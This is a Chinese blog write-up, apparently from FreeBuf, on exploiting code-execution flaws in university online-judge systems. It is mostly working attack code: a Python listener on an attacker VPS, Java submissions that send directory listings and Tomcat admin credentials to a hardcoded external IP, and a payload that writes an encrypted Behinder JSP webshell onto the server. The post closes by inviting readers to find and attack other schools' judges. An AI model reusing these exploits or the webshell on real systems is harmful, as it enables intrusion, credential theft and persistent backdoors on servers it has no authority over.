一些高校的ACMoj存在任意代码执行漏洞,队友研究了一下后打穿了xxx理工大学的oj,本菜鸡拿到exp后其他学校oj测试了一下,也拿下了一个学校的webshell,本漏洞已提交edu。
在攻击之前需要一个具有公网ip的vps用来接收oj端代码的执行结果,原理是攻击者构造恶意代码在oj端进行执行,执行完毕后将运行结果通过socket发送到我们的vps。
vps上需要运行的监听代码如下:
#coding=utf-8
import socket
import time
server=("0.0.0.0",1234)
s=socket.socket()
s.bind(server)
s.listen(5)
con, addr = s.accept()
print(addr,"conn succ")
x = 1
print "---------- RCE Listener started! ----------\n"
def receive():
global x
result=con.recv(65365)
print "\n---------- Loop: " + str(x) + " ----------"
print(result.decode("utf-8"))
x += 1
time.sleep(1)
receive()
receive()
s.close()
print("---------- exit ----------")
oj上可运行的代码只有C、C++、java,java代码相对好构造一点(python代码最方便),先执行一下pwd:
import java.io.*;
import java.net.Socket;
public class Main {
public static void main(String args[]) throws Exception {
String host = "81.70.152.212"; //vps的ip
int port = 1234; //监听端口
Socket socket = new Socket(host, port);
OutputStream outputStream = socket.getOutputStream();
String message = System.getProperty("user.dir"); //执行的io函数
socket.getOutputStream().write(message.getBytes("UTF-8"));
socket.close();
}
}
vps获取到以下信息:
获取到代码执行路径是D:\xampp\tomcat\bin
稍微修改一下代码即可获取到我们当前的权限是system,java版本为1.5(上古版本)。因为java版本的不同后续一些代码可能需要自行修改。
接下来获取当前路径下的文件名:
import java.io.*;
import java.net.Socket;
public class Main {
public static void main(String args[]) throws Exception {
String host = "81.70.152.212";
int port = 1234;
Socket socket = new Socket(host, port);
OutputStream outputStream = socket.getOutputStream();
String tmp = "";
File file = new File("."); //需要获取的路径
String[] fileList = file.list();
for (int i = 0; i < fileList.length; i++) {
tmp += fileList[i];
tmp += ", ";
}
socket.getOutputStream().write(tmp.getBytes("UTF-8"));
socket.close();
}
}
提交后在vps端获取到当前目录:
tomcat的后台密码存放在tomcat/conf/tomcat-users.xml
文件中,经过测试,oj的这个文件存放路径是D:/xampp/tomcat/conf
,尝试读取一下文件:
import java.io.*;
import java.net.Socket;
public class Main {
public static void main(String args[]) throws Exception {
String host = "81.70.152.212";
int port = 1234;
Socket socket = new Socket(host, port);
OutputStream outputStream = socket.getOutputStream();
try {
File file = new File("D:/xampp/tomcat/conf/tomcat-users.xml");
FileInputStream fip = new FileInputStream(file);
InputStreamReader reader = new InputStreamReader(fip, "UTF-8");
StringBuffer sb = new StringBuffer();
while (reader.ready()) {
sb.append((char) reader.read());
// 转成char加到StringBuffer对象中
}
reader.close();
socket.getOutputStream().write(sb.toString().getBytes("UTF-8"));
socket.close();
}
catch (Exception e) {
socket.getOutputStream().write("ERROR".getBytes("UTF-8"));
}
}
}
这个就是tomcat的后台,登录试试:
接下来这里可以上传webshell,不做演示,继续搞代码执行漏洞。
不通过后台传文件但是可以通过代码执行写shell,代码如下:
import java.io.*;
import java.net.Socket;
public class Main {
private static String host = "81.70.152.212";
private static int port = 1234;
private static Socket socket;
private static OutputStream outputStream;
private static void readFile(String str) throws Exception {
try {
File file = new File(str);
FileInputStream fip = new FileInputStream(file);
InputStreamReader reader = new InputStreamReader(fip, "UTF-8");
StringBuffer sb = new StringBuffer();
while (reader.ready()) {
sb.append((char) reader.read());
// 转成char加到StringBuffer对象中
}
reader.close();
socket.getOutputStream().write(sb.toString().getBytes("UTF-8"));
socket.close();
}
catch (Exception e) {
StringWriter sw = new StringWriter();
PrintWriter pw = new PrintWriter(sw, true);
e.printStackTrace(pw);
pw.flush();
sw.flush();
socket.getOutputStream().write(sw.toString().getBytes("UTF-8"));
}
}
private static void readPath(String str) throws Exception {
File file = new File(str);
String tmp = "";
String[] fileList = file.list();
for (int i = 0; i < fileList.length; i++) {
tmp += fileList[i];
tmp += ", ";
}
socket.getOutputStream().write(tmp.getBytes("UTF-8"));
}
public static void main(String args[]) throws Exception {
socket = new Socket(host, port);
outputStream = socket.getOutputStream();
//User: libuuid
//readFile("/home/acmxs/2019pull_db.py");
File file = new File("../webapps/shell.jsp");
FileOutputStream fop = new FileOutputStream(file);
OutputStreamWriter writer = new OutputStreamWriter(fop, "UTF-8");
writer.append("<%@page import=\"java.util.*,javax.crypto.*,javax.crypto.spec.*\"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals(\"POST\")){String k=\"e45e329feb5d925b\";session.putValue(\"u\",k);Cipher c=Cipher.getInstance(\"AES\");c.init(2,new SecretKeySpec(k.getBytes(),\"AES\"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>");
writer.close();
fop.close();
readFile("../webapps/shell.jsp");
socket.close();
}
}
写的shell是冰蝎自带的shell,
写了shell后读取发送回vps,发现可以写,然后用冰蝎连接一下:
测试结束,shell已删。
有这个洞的oj不止这一个,还有一些其他学校的oj,比如:
像这个oj可以直接利用python的os.popen()
函数来执行shell命令,还是root权限。
其他的就不列举了,有兴趣的小伙伴们可以自己找地方复现哈~
来源:freebuf.com 2021-02-05 13:13:52 by: wakeupp
请登录后发表评论
注册